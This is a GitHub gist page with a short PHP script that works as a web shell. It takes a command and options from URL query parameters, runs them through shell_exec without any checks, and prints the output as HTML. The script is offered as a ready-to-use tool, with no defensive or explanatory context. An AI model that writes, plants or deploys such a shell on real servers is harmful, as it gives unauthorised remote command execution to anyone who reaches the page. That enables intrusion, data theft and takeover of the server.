Created
August 17, 2019 15:09
-
-
Save dino213dz/b8f066c51124eb7b9f5495503762d38e to your computer and use it in GitHub Desktop.
Revisions
-
dino213dz created this gist
Aug 17, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,27 @@ <?php $cde=$_GET['cmd']; $options=$_GET['options']; $commande=$cde.' '.$options; $console_symbol='<b> > </b>'; echo '<html><head><title>'.$commande.'</title></head><body>'; echo $console_symbol.' '.$commande.' : <HR>'; $retour_cde=shell_exec(''.$commande.' 2>&1 >/tmp/cmd.log;while read ligne; do echo $ligne"</BR>"; done < /tmp/cmd.log'); $retour_cde=str_replace(' ',' ',$retour_cde); $retour_cde=str_replace(' ',' ',$retour_cde); $lignes_retour_cde=explode('\n',$retour_cde); for($l=0;$l<count($lignes_retour_cde);$l++){ if(trim($lignes_retour_cde[$l])!='') echo ''.$console_symbol.''.$lignes_retour_cde[$l].'</BR>'; else{ if($l<count($lignes_retour_cde)-1){ //ligne vide echo '</BR>'; } else { //fin du resultat de la commande echo '</span></div>'; } } } echo '</body></html>'; ?>